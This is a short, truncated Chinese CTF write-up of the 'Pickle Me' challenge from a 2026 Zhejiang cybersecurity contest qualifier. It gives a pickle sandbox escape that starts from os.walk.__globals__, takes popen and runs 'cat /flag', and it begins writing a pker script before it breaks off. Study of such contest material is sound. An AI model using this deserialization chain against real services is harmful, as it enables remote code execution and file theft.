安全
2026浙江省网络空间安全大赛预赛
先知社区0 次浏览
Pickle Me 非预期: flag就在源码当中,应该是出题人忘记更改了 预期解: 这道题目给了预期解,我们可以发现只给了白名单: builtins.getattr os.walk 要求我们手写opencode来实现读取flag,包括源码也给了提示要求我们进行 __global__ 逃逸,其实这里的思路很简单,通过 os.walk 拿全局字典,然后 __getitem__ 进行遍历拿到 popen 函数最后进行RCE即可 这是一个完整的链子: getattr(getattr(os.walk, "__globals__"), "__getitem__")("popen")("cat /flag").read() 这里需要用pker工具,我们先编写一个脚本,随后用pker编译即可 getattr = GLOBAL("builtins", "getattr") walk = GLOBAL("o
原文:https://xz.aliyun.com/news/93201


